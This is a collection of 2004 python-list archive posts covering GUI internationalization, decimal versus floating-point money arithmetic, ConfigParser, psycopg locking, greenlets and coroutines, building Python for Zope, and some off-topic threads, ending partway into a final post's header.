Jarek Zgoda <jzgoda at gazeta.usun.pl> wrote in message news:<chl118$rcl$2 at nemesis.news.tpi.pl>...
> Andr? Roberge <andre.roberge at ns.sympatico.ca> pisze:
> 
> > In short: I'm looking for a *simple* example of how to write a program
> > that can have its GUI in at least two languages under Windows ...
> > using only Python, of course!
> 
> http://wiki.wxpython.org/index.cgi/Internationalization
> 
> This applies to all Python programs, not only wxPython based. Just
> follow instructions.

Thank you; I found it this morning after more googling.  I think it
has all that I need.  So now, all that is left is coding (and possibly
writing a tutorial - although the given reference is already very
good.)

Andre


From carribeiro at gmail.com  Wed Sep 22 10:32:58 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 22 Sep 2004 11:32:58 -0300
Subject: Why not FP for Money?
In-Reply-To: <10l316da3s2e77d@corp.supernews.com>
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<41512635$0$94916$5a6aecb4@news.aaisp.net.uk>
	<10l316da3s2e77d@corp.supernews.com>
Message-ID: <864d3709040922073213d68724@mail.gmail.com>

On Wed, 22 Sep 2004 06:55:50 -0700, Al Christians
<achrist at easystreet.com> wrote:
> 1. You have to remember to re-round after every calculation.  Instead of
> "a = a + b" you have to write "x = round_money(a + b)".  When just about
> every statement is decorated like this, you can see that your
> programming language is missing something at a low level that you really
> might want it to have. OTOH, the rounding rules are very often
> domain-specific, so having one particular set of rules built into the
> language might be more of a nuisance than a help.

When I programmed in Delphi, that's what we had to do. Early versions
of Turbo Pascal had BCD libraries, and later versions added support
for currency types. But most of the time, we would use extended
(80-bit) numbers, and round after every calculation. To forget to
round would cause problems pretty quickly -- for example, when running
a report, it's fairly easy to have the wrong sum. If I remember it
well, at some point Delphi's standard library could be customized to
choose between two or three different rounding algorithms, including
one called "banker's rounding", where exact half numbers would be
converted to the closest even number. The goal was to make sure that
the end result of several roundings would not exhibit any tendency,
however small, towards the highest value:

Normal rounding:
0.5 -> 1
1.5 -> 2
2.5 -> 3
3.5 -> 4
sum of the rounded numbers -> 10
 
Banker's rounding:
0.5 -> 0
1.5 -> 2
2.5 -> 2
3.5 -> 4
sum of the banker's rounded numbers -> 8

sum of the original numbers -> 8


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From john at totalrekall.co.uk  Sat Sep  4 18:34:07 2004
From: john at totalrekall.co.uk (John Dean)
Date: Sat, 4 Sep 2004 22:34:07 GMT
Subject: Could somebody tell where to find the dynlib and dev headers for
	Python on Mac X OS
Message-ID: <413a425b$0$22753$db0fefd9@news.zen.co.uk>

Hi

I am in the process of porting Rekall to Mac X OS and I am having trouble
finding the Python SDK. I would be grateful if somebody would be kind enough
to point me in the right direction

Thank you in advance

-- 
Best Regards
John


From fakeaddress at nowhere.org  Wed Sep  8 02:32:35 2004
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Wed, 08 Sep 2004 06:32:35 GMT
Subject: Python Interpreter question.
In-Reply-To: <roy-78BC34.14143607092004@reader1.panix.com>
References: <chkoc4$l08$1@newsg2.svr.pol.co.uk>
	<1gjrd1h.4w2qi610yei4wN%aleaxit@yahoo.com>
	<roy-78BC34.14143607092004@reader1.panix.com>
Message-ID: <7Ix%c.12991$QJ3.2254@newssvr21.news.prodigy.com>

Roy Smith wrote:
 > And this is one of the coolest features of python.  Being able to just
 > type stuff at an interactive prompt instead of having to create a file,
 > compile it, and run it, makes it so easy to explore bits of the system
 > you're not sure of.

Incidentally, that feature does not require that the language be
interpreted.  There are interactive programming language systems
that attempt to compile text as you type in at the prompt.  If
syntactically incorrect they report the error, otherwise they
execute the native jump or call instruction to the generated
machine code.


-- 
--Bryan


From nid_oizo at yahoo.com_remove_the_  Thu Sep 23 10:41:47 2004
From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury)
Date: Thu, 23 Sep 2004 10:41:47 -0400
Subject: up with PyGUI!
In-Reply-To: <4151B7C4.6070003@zephyrfalcon.org>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org>
Message-ID: <KgB4d.25594$pA.1567708@news20.bellglobal.com>

Hans Nowak wrote:
> I'm not sure what you mean.  One known issue is, that there is some 
> redundancy when creating a control and adding it to its parent:
> 
>   b = Button(parent, ...)
>   parent.AddComponent(b, ...)

What I'm suggesting is to avoid the redundacy and do:
parent.Add(Button(...))

I've done it for some GUI framework where I work encapsulating wxPython. 
  The drawback is that you need to delay the creation of widgets, which 
means some attributes might be stored twice.  But it's definitely easier 
to use.

Another thing I'm suggesting is a mechanism to not destroy a widget 
until it's corresponding python object is destroyed.  It's more complex, 
but Python has already ownership with refcount, garbage collection, etc. 
and I think a truly pythonic GUI framework should use the same ownership 
mechanism.

> I am thinking of ways to make this simpler.  One possible solution would 
> be to accept a 'layout' parameter:
> 
>   b = Button(parent, ..., layout={'expand': 'both', 'border': 2})
> 
> ...but I'm not sure that actually makes things simpler or more readable.

I personally prefer Java-Swing-Layout and wxPython-sizers approach.  I 
think it's better to add widgets in the layout.

> It's also possible to do something like this:
> 
>   parent.Add(some_control, parameters_for_control, parameters_for_layout)

Again, I think layouts/sizers are very nice, since the way to add can be 
very different dependending on the layout/sizer.  For example, 
specifying col and row when adding to a GridBagLayout.

>> It could also be a good idea to take the occasion to respect PEP8.  
> 
> Which recommendations of the style guide does the Wax code violate?

IIRC, method names beginning with lowercase, as all the Python API.

>> Note also that "import wax" would be better than "from wax import *".
> 
> I'm considering it.  This way, it would also be possible to import 
> things on demand.  On the other hand, I don't like to write 'wax.' 
> before everything.

It's just that when you work multiple modules, autocompletion for a 
module doing a "from wx import *" is a nightmare (and is also slowing 
debuggers, since so many symbols are in each module namespace).  If wax 
becomes big, it would also be a pain.  You can do "import wax as w" ;)

Regards,
Nicolas


From drysdam at ll.mit.edu  Mon Sep 20 10:17:58 2004
From: drysdam at ll.mit.edu (David Rysdam)
Date: Mon, 20 Sep 2004 10:17:58 -0400
Subject: using ConfigParser wrong?
In-Reply-To: <WsB3d.33$26.27@llslave.llan.ll.mit.edu>
References: <WsB3d.33$26.27@llslave.llan.ll.mit.edu>
Message-ID: <qEB3d.34$26.2@llslave.llan.ll.mit.edu>

NM, I am an idiot.  Need to open the file in write mode.

David Rysdam wrote:
> I have a file test.cfg:
> 
> [options]
> option1=foo
> option2=bar
> 
> 
> I have a program testconfig.py:
> 
> import ConfigParser
> 
> config = ConfigParser.ConfigParser()
> f = open('test.cfg')
> config.readfp(f)
> configList = config.items('options')
> print configList
> config.set('options', 'option3', 'baz')
> config.write(f)
> 
> 
> When I run this program, I get an error:
> 
> Traceback (most recent call last):
>   File "./testconfig.py", line 11, in ?
>     config.write(f)
>   File "/usr/lib/python2.3/ConfigParser.py", line 363, in write
>     fp.write("[%s]\n" % section)
> IOError: [Errno 9] Bad file descriptor
> 
> 
> Is .write() not right?  If not, how do I save the changed config to file?


From godoy at ieee.org  Mon Sep 27 08:23:05 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Mon, 27 Sep 2004 09:23:05 -0300
Subject: Psycopg; How to detect row locking?
References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl>
Message-ID: <m3y8iv3npy.fsf@g2ctech.com>

Alban Hertroys <alban at magproductions.nl> writes:

> Good day,
>
> I have a number of threads doing inserts in a table, after which I want 
> to do a select. This means that it will occur that the row that I want 
> to select is locked (by the DB). In these cases, I believe I receive an 
> OperationalError (or is it an InterfaceError?).
>
> Is it possible (and if so - how?) to verify that the exception occured 
> because of row locking, so that I can wait and try again?
>
> Or are there better ways to achieve this? I'm not too charmed about 
> polling loops that may never end.
>
> I'm using python 2.3 with psycopg 1.1.13 and PostgreSQL 7.4.2.

Are you manually locking those rows?  If so, you can maintain some
structure to keep track of locked rows.

If you are not locking, PostgreSQL uses MVCC where it locks as little as
possible and you are able to select the new data inside the same
transaction and old data outside of it (until it is commited).

-- 
Godoy.     <godoy at ieee.org>


From aleaxit at yahoo.com  Wed Sep 15 05:53:28 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 15 Sep 2004 11:53:28 +0200
Subject: Ranting about the state of Python IDEs for Windows
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<xv6dnbAB2MabvtvcRVn-sA@adelphia.com>
	<2qo1v3F11r4inU1@uni-berlin.de>
Message-ID: <1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com>

Daniel Ellison <daniel at syrinx.net> wrote:

> It *has* to be mentioned, of course, that Vim (http://www.vim.org) has
> nearly every feature mentioned about EditPlus and all the other IDEs,

Except, no tabbed interface when editing multiple files (not even with
GVIM: just ONE window, as seen from the OS/GUI level, even though vim
can partition it).  Vim is my favourite editor, but the lack of tabbed
interface _is_ a pity.


Alex


From carribeiro at gmail.com  Tue Sep 28 12:38:30 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 28 Sep 2004 13:38:30 -0300
Subject: Metaclass with name overloading.
In-Reply-To: <1gktv1h.lew418131v342N%aleaxit@yahoo.com>
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
	<mailman.3957.1096289972.5135.python-list@python.org>
	<tyfacvag7h4.fsf@pcepsft001.cern.ch>
	<mailman.4005.1096368346.5135.python-list@python.org>
	<1gktv1h.lew418131v342N%aleaxit@yahoo.com>
Message-ID: <864d3709040928093843ef6b5b@mail.gmail.com>

On Tue, 28 Sep 2004 14:37:31 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> Carlos Ribeiro <carribeiro at gmail.com> wrote:
>    ...
> > Generic templating mechanisms start as simple variable substitution
> > engines, but as they start to be used, there's the need to add control
> > structures (if, for, etc); it's also needed to provide more ways for
> > the template to communicate with the main program, exchanging
> > variables and values. At this point, wouldn't be better to write all
> > templates in the main programming language of the system?
> 
> At this point, your templating is not declarative -- it's imperative.
> Like everything in Python, btw -- not ONE 'declarative' in sight (except
> the 'global' statement, which is part of what makes it a wart;-).

I knew I should have taken more time to write that paragraph :-) The
way I'm writing my code "reads" more like declarative code than
imperative. One can surely argue with my lack of academic rigour. I
think that I'm writing "declarative" code because I'm using class
declarations to create complex, hierarchic data structures. I want to
state __what it is__, not state __how it should be done__ step by
step.

Your comment also made me realize a point that should be highlighted.
Normal templates [1] are clearly imperative, and that's part of my
problem with them. But complex object-oriented structures, although
including code (in the form of methods and descriptors) are much more
dynamic than a simple template. Better than this -- normal templates
are inherently sequential and imperative in the way they're written.
Object oriented structures are much more flexible in this respect.
 
[1] I stress the term "normal templates" because I'm focusing on
standard, run-of-the-mill templating systems.

> There IS a case for purely declarative stuff _embedding_ Python code,
> like strakt.com's "blam" (purely informal name, as Strakt's marketing
> may lot like it, we just can't keep saying "Business Logic Module
> Language" forever;-) does for (basically) ERD + actions/triggers.  The
> embedding makes the whole non-declarative, of course.  But the
> declarative part can still be way prettier than it would be if it wasn't
> a separate language, e.g. it could use such keywords as 'entity',
> 'relation', 'attribute' and the like...

In the end, you've raised another interesting point -- on the whole,
my current approach is not purely declarative. It's rather a mix of
imperative and declarative, but with a mostly declarative
infrastructure holding things together.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From bradtilley at usa.net  Thu Sep 16 21:47:52 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Thu, 16 Sep 2004 21:47:52 -0400
Subject: classes and standard modules
Message-ID: <cidfnt$nsj$1@solaris.cc.vt.edu>

I don't understand classes very well... maybe some day. Is it just me or 
are they supposed to be difficult to understand? They make my head hurt.

Anyway, because I don't understand classes well, I avoid using them. 
However, many modules in the standard library are implemented as 
classes: sgmllib, HTMLParser, etc. Is it possible to use these modules 
without getting into OO programming and inheritance and all the other 
lofty, theoretical CS concepts that small script writers, like me, don't 
really need?


From me at privacy.net  Fri Sep 24 14:27:56 2004
From: me at privacy.net (Richard Hanson)
Date: Fri, 24 Sep 2004 11:27:56 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
	<mailman.3830.1095998544.5135.python-list@python.org>
	<07c7l01vmhodigl5qcp27er6gm4l5b8r43@4ax.com>
	<pbadnZvDHOjzYM7cRVn-jg@powergate.ca>
Message-ID: <bnp8l0tqaafavf4j0hp09hfesj6vkojrb4@4ax.com>

[A heads up: This is mostly a shorter, "chatty"-type post. :-) ]

Peter Hansen wrote:

> Richard Hanson wrote:
> > As I just replied to David Lees -- I didn't signal adequately that I
> > was not soliciting names for the project at this juncture, but was
> > merely attempting some levity. :-) I *should* have realized from the
> > recent "naming threads" what might happen... -- my bad! :-p 
> 
> No worries, Richard.  You *did* signal that quite adequately.

Oh, good -- I was wondering if my sense of humor was tending towards
infinitely incomprehensible. ;-)

> This, however, is comp.lang.python and clear signals never
> stopped anyone.  <wink>  

I've noticed that. :-) 

> You could say "Please do *not* offer
> any more name suggestions", and then sit back and peruse the
> many interesting (?) ideas that are offered anyway.

Heh. You understand human psychology well, too, I see. :-)

By the way, I *have* appreciated all the replies -- after all, I'm a
new poster waltzing in and plopping down with what could seem like
some "non-tobacco"-fueled pipe dream. ;-)

> -i'm-partial-to-FerretFace(tm)-ly y'rs,

Now *that* is my kind of name. (I won't steal it, of course.)

Thanks for the reply, Peter!


onward-and-upwardly y'rs
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From jeffrey at fro.man  Sun Sep  5 12:06:44 2004
From: jeffrey at fro.man (Jeffrey Froman)
Date: Sun, 05 Sep 2004 09:06:44 -0700
Subject: Linux application deployment
References: <cheog1$ns4$1@atlantis.news.tpi.pl> <413B2D73.3010106@cs.com>
Message-ID: <10jmecm8fnf0h5c@corp.supernews.com>

Robert M. Emmons wrote:

> One thing I've always wonders was -- Is there a way for a python module
> to tell where it's file is located?????If?you?could?do?this?it?might
> also be possible to have a python script reset sys.path based on it's
> own location.
>

One way of doing this is:  

import os, sys
directory, filename = os.path.split(__file__)
sys.path.append(directory)


-------
Jeffrey


From michaels at rd.bbc.co.uk  Fri Sep 17 05:08:11 2004
From: michaels at rd.bbc.co.uk (Michael Sparks)
Date: Fri, 17 Sep 2004 10:08:11 +0100
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
Message-ID: <cieafr$m4b$1@nntp0.reith.bbc.co.uk>

Bryan Olson wrote:

> David Mertz, Ph.D. wrote:
>  > It's too bad you didn't bother to READ my article at:
>  >
>  >   http://gnosis.cx/publish/programming/charming_python_b5.html
>  >
>  > This is distinct from my other article that covers "weightless
>  > threads", though there is some overlap in the concepts.
> 
> I spent a couple hours going through the "weightless threads"
> paper, and looking up the background including that one.  I had
> previously concluded that Python generators could not implement
> what I wanted from real co-routines, so I was interested in
> seeing if there was a reasonable implementation.
> 
>  > While you do need a scheduler to control the branching, once you
>  > have this you get EXACTLY the same thing as coroutines in other
>  > languages. Specifically, you can branch from any generator, into
>  > the body of whatever other generator you wish.

David,

The real root of the 'problem' "Bryan Olson" is putting forward is the
fact that you can only jump between yield points in simple generators,
which are inherently single level, rather than nested. (ie the
traditional "you can't wrap generators" question)

Consider a TCP client using generators
   * You have a connection, mainloop and shutdown phase.
   * You can seperate that into a connection factory and a connection
     handler, and have the connection factory one generator and the
     connection handler another.
   * You can then either have the connection factory directly handle the
     scheduling of the connection handler by the "for x in y: yield x"
     trick or provide inter-generator communications. 

     Personally I prefer the latter - it means I can reuse the
     connection handler in a TCP server as well. This is also why I
     put 'problem' above - single level yield encourages this - I do
     not think this is a problem any more than python encouraging
     modular code elsewhere is a problem.

Consider a simple TCP client using what Bryan Olson wants (or appears to
want) - let's call them Greenlets.
   * You write your TCP client as if it were normally threaded.
   * You wrap any socket create/read/write code in a function that
     whenever it needs to block calls the equivalent of "suspend".
     (Let's call that greenlet.main.switch() ) 
   * You decorate your original function (the TCP client) as a
     greenlet, and leave your code essentially unchanged
   * You would also need a greenlet to handle selects, and a scheduler,
     but gain the same benefits as if you'd transformed your code to use
     a reactor/proactor pattern, 

At least I *think* this is where Bryan is coming from...

> Great; I'd love to have the same thing as real co-routines.
> Here's the problem:  I have a server that currently handles
> multiple clients using one thread per connection.  When a
> client-handler needs to send or receive data, it simply reads or
> writes to a file-like thing.
> 
> Now I want to handle twenty thousand clients, so I want to
> replace my threads with co-routines.  With real co-routines, I
> can easily do that.  I write an asynchronous I/O handler routine
> that can wait on many files at once, perhaps with os.select().
> I over-ride the file read and write procedures to initiate the
> I/O, then yield.  When I/O is ready on a file, the I/O handler
> can switch back to the client-handler.
> 
> Importantly, I do *not* have to re-write all the functions in
> every call chain that leads to a read or write.  I just need the
> I/O handler (which includes a kind of scheduler) at the top, and
> I over-ride my file I/O calls at the bottom.

Bryan,

Out of interest, have you looked at the Greenlets package from
stackless? I'm pretty certain it goes *a lot* further towards where
you want to be than you currently are and works with standard python.
Yes, you might need to create a simple scheduler. Yes, you will need to
decorate some functions. But it will largely allow you to leave most of
your code looking pretty much unchanged, and certainly not the level of
change you'd need if you went for a traditional statemachine/reactor (or
proactor) pattern based server.

I've mentioned it here a few times and you're the most vocal person I
think might benefit from at least giving it a look. 

Personally when I was in a similar situation to yourself a while back,
and rather than complain about a feature being missing that's missing
from many languages, I decided to modularise my code differently such
that approaches _like_ those David Mertz put forward became plausible
(I personally found the article very useful in detailing generators'
potential). 

Personally, I've found the results of using generators in the way David
Mertz put forwards to be extremely useful. This is especially true if
you allow communications between generators in CSP style semantics,
encouraging greater reuse than traditional co-routines but now I'm way
off topic. 

If you really think you need what you say you need, I really would
suggest Greenlets - it takes you a lot closer to where you say you want
to be.

Thinking-it-might-be-useful-ly,


Michael.
-- 
Michael.Sparks at rd.bbc.co.uk    
British Broadcasting Corporation, Research and Development
Kingswood Warren, Surrey KT20 6NP

This message (and any attachments) may contain personal views
which are not the views of the BBC unless specifically stated.




From vbfoobar at anonymous.to  Tue Sep 14 05:17:04 2004
From: vbfoobar at anonymous.to (Vbfoo Bar)
Date: 14 Sep 2004 02:17:04 -0700
Subject: Comparing perfs of two python interpreters on the same Linux
	machine (for Zope)
Message-ID: <26196943.0409140117.1508f5eb@posting.google.com>

Hello,

To implement a Zope intranet on a linux RedHat ES 3, I had to
install a Python 2.3.4 that I have compiled myself.

I would like to compare the respective performance of this
python interpreter and that of the Python provided by RedHat
(just a little bench program would be sufficient) as I suspect
the binary Python 2.3.4 (or just the Zope?) I have produced is 
very inefficient (very very slow!).

Additional info below. Thanks by advance for your advice.

The python binaries on my machine:
==================================
The python that comes with RedHat ES 3 (this is a Python 2.2.3):
-rwxr-xr-x  2 root  root    795584 Aug  8  2003 /usr/bin/python

The python I have compiled myself (Python 2.3.4, required and used
by Zope/plone):
-rwxr-xr-x  1 root  root   2265733 Jun 25 14:58
/usr/local/bin/python2.3

(Note that the binary sizes are very different: is this suspect?)

How I produced my (apparently inefficient binaries):
====================================================
For python:
[root# wget http://www.python.org/ftp/python/2.3.4/Python-2.3.4.tgz
[root# ./configure
[root# make ; make install

For zope:
$ ./configure --prefix=/usr/local/zope-2.7.1-0
--with-python=/usr/local/bin/python2.3
$ make
$ make install


From bradtilley at usa.net  Wed Sep 15 08:46:34 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Wed, 15 Sep 2004 08:46:34 -0400
Subject: software that knows how to update itself
Message-ID: <ci9dja$dii$1@solaris.cc.vt.edu>

I've written and tested a *very basic* socket server that I'll have to 
deploy soon... sooner than I'd like as much of the functionality that I 
want to include hasn't been implemented or even tested yet. So, I've 
been thinking about writing a function that has the ability to upgrade 
the socket server remotely. However, I have never done anything like 
this so I'm looking for tips and advice on the subject.

The socket server runs continuously listening for connections so I'll 
always be able to communicate with it. Here's some pseudo code that 
captures the essence of what I'd like to do:

def update_urself():
       receive updated socket server code & write it to a file
       verify file with crc or md5sum check on both ends
       if verify is OK:
          close all connections
          replace sock_serv.py with sock_serv_update.py

if conn.recv == 'UPDATE'
    update_urself()

Does this look sane?






From mark at prothon.org  Mon Sep  6 18:21:22 2004
From: mark at prothon.org (Mark Hahn)
Date: Mon, 6 Sep 2004 15:21:22 -0700
Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was:
	Announcing PyCs, a new Python-like language on .Net)
References: <20040901221925.2128958333.EP@zomething.com>
Message-ID: <y6hwmqrf1kkn.1sum3216hhtcw$.dlg@40tude.net>

On Wed, 1 Sep 2004 22:19:25 -0800, EP wrote:

> Jeremy Bowers commented:

> If you can't come up with a good name, use a letter and symbol or 
> three (but no more than 3), e.g. C, C++, C#.  Such will be 
> non-objectionable, but will not help you in getting your 
> language/technology adopted, or even remembered.

Well, I gave up on coming up with a good name so I'm taking your advice and
using DX, for Dynamic Xml language.  I had a number of cute names like
groovy but I just couldn't stand the thought of a cute name.  I also had
acronyms like UDXL but that would get lost in the sea of acronyms.  So my
web-site will be dx-lang.org and all will be well.

Does anyone know of any conflicts for DX?  Any existing software projects?
Any languages?  I know all about all the ham radio stuff but I assume that
is a non-issue.



From peter at engcorp.com  Fri Sep 24 07:04:41 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 07:04:41 -0400
Subject: XSLT and client cache
In-Reply-To: <4c900ea0.0409232256.5a90ea09@posting.google.com>
References: <4c900ea0.0409232256.5a90ea09@posting.google.com>
Message-ID: <pbadnZTDHOjUYs7cRVn-jg@powergate.ca>

john wrote:
> I want to do something like this:
> Store the XSLT document in the client cache if it is not already present.
> If present then use that XSLT document to display the xml.
> I have no idea how to do this.

The question is somewhat vague, but I'll refrain from directing
you to read a certain essay by ESR for now. ;-)

Can we assume by "client" you mean a web browser?  If so,
why would you treat the XSLT document any differently from
any other file your server sends it?  Any browser with the
capability should already be caching XSLT just as it caches
anything else that doesn't ask not to be cached with the
various HTTP headers that can do so...

-Peter


From flavell at ph.gla.ac.uk  Tue Sep 14 09:43:24 2004
From: flavell at ph.gla.ac.uk (Alan J. Flavell)
Date: Tue, 14 Sep 2004 14:43:24 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <m3sm9lvwnv.fsf@europa.pienet>
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net>
	<m3pt4qc57f.fsf@europa.pienet> <4146dc2f$0$2665$61fed72c@news.rcn.com>
	<m3sm9lvwnv.fsf@europa.pienet>
Message-ID: <Pine.LNX.4.61.0409141442400.6495@ppepc56.ph.gla.ac.uk>

On Tue, 14 Sep 2004, Greg Menke wrote:

> jmfbahciv at aol.com writes:
> 
> > turned into a 100% religious war.
> 
> They're pretty convinced of that already- after all Dubya called this
> a crusade from day 1. 

I seriously doubt that he understood what the word meant.


From tim.peters at gmail.com  Tue Sep 21 21:02:25 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 21 Sep 2004 21:02:25 -0400
Subject: Why not FP for Money?
In-Reply-To: <cc887c1d.0409202325.76ec2227@posting.google.com>
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
Message-ID: <1f7befae04092118027e50011c@mail.gmail.com>

[Chris Barker]
> I promise this is not a troll... Really, it's embarassing, because
> this is one Engineer that DID take a Numerical Analysis course, and
> from William Kahan, no less, and I still don't really get it.
> ...

You can read what Kahan says about it, then:

    http://www.cs.berkeley.edu/~wkahan/MktgMath.pdf

and supplement that with Cowlishaw's FAQ:

    http://www2.hursley.ibm.com/decimal/decifaq.html

and IBM's proposed std for decimal arithmetic, a level up from that link.


From lynn at garlic.com  Fri Sep  3 16:22:55 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Fri, 03 Sep 2004 14:22:55 -0600
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca>
	<41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
Message-ID: <uzn47qezk.fsf@mail.comcast.net>

Alan Balmer <albalmer at att.net> writes:
> No, because they were *not* manufactured on the launch pad.
> Transportation would be required from any other place - in Utah or
> not.
>
> Even if they were manufactured on the launch pad, there would be
> more than one piece.

as mentioned in the earlier post ... supposedly all other competing
bids were all sites on various shores that all allowed barging of
single, completed, manufactored unit to florida w/o sectioning and
no other designs had gaskets.

supposedly utah was the *only* bid that required sectioning to meet
various overland transportation requirement. 

previous post
http://www.garlic.com/~lynn/2004k.html#58

earlier reply to your comment about ... "shuttle boosters are 3.7m
diameter" ... with comment about the alternative single unit
assemblers being barged to florida.
http://www.garlic.com/~lynn/2004k.html#54

as repeatedly posted ... as far as i know from all the stuff from the
period ... the comments were that the utah design was the *only*
design that had to be built in sections (because of transportation
issues) and re-assembled in florida and the only design that involved
such gaskets. all other designs were built on various shores in single
pieces and would be barged as single piece to florida and no gaskets
were involved (because they were manufactored in single pieces and
barged to florida in whole pieces).

the difference between barging and train ... was that there are
significantly less length, width, height, dimensional restrictions on
barged items compared to dimensional restrictions on overland train
.... because of bridges, tunnels, curves, clearances from adjacent
traffic, clearances involving any sort of structures near tracks.

i was under the impression that barging was fairly straight forward
from east coast, gulf coast, many major rivers, etc. i would guess
that anyplace that you could get a ship that was 160' or larger
... you could transport a barged assembly. 

in fact, a shipyard that was accostomed to building a ship in a single
assemble (w/o needing gaskets to hold it together) could probably also
build a single assembly booster rocket ... and barge it to florida.

i'm not sure about how to catalog all the possible sites &/or
shipyards that could build single section unit (things like single
section ships that are build in single section w/o gaskets to hold the
different sections together) ... some quicky google about ports
http://www.aapadirectory.com/cgi-bin/showportprofile.cgi?id=3709&region=US

turns up corpus cristi ... they handle ships built in single sections
(w/o gaskets to hold them together) up to 1000 ft long and 45 ft
depth. they also mention some docks that are barge use only that only
handl 260 ft length and 16 ft depth (course there probably isn't much
of height or width restriction with overhanging adjacent structures).

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From FBatista at uniFON.com.ar  Tue Sep 21 16:27:25 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Tue, 21 Sep 2004 17:27:25 -0300
Subject: New to Python
Message-ID: <A128D751272CD411BC9200508BC2194D053C79A5@escpl.tcp.com.ar>

[webbsoft2 at alltel.net]

#- in_file = open( "s3cga1.new", "r")
#- 
#- while 1:
#-      data = in_file.readline()
#-      if not data:
#- 	    break
#- 
#-      if data[0:1] == "(":
#- 
#- 	nCost = data[ 99:106]
#- 	nPack = data[ 44:48]
#- 
#- 	nRetail = data[ 79:87]
#- 	nQuan = data[ 87:90]
#- 	nAllowance = data[ 147:154]
#- 
#- 	nGp = ( ( nRetail / nQuan ) - ( ( nCost - nAllowance) / 
#- nPack ) ) / (
#- nRetail / nQuan )
#- 
#- 	print nCost, nPack, nQuan, nRetail, nAllowance
#- 
#- 
#- EXAMPLE OF DATA FILE
#- (00007756725434,'*BREYER STRWBRY ICE ',0007,0006,' 56 OZ   
#- ','000216  
#-       
#- ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000
#- ,0000000,0004.00000,2004262,2004282),
#- (00007756725433,'*BREYER PEACH ICE CR',0007,0006,' 56 OZ   
#- ','000224  
#-       
#- ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000
#- ,0000000,0004.00000,2004262,2004282),

You should really consider using ``split()`` to separate the lines in the
files, you won't get bad slices that way.

And use int(), float() or Decimal() to pass a string to number.

Regards.

Facundo Batista
Desarrollo de Red
fbatista at unifon.com.ar
(54 11) 5130-4643
Cel: 15 5097 5024




From aleaxit at yahoo.com  Sat Sep  4 08:13:21 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 14:13:21 +0200
Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged
References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com>
	<mailman.2807.1094184160.5135.python-list@python.org>
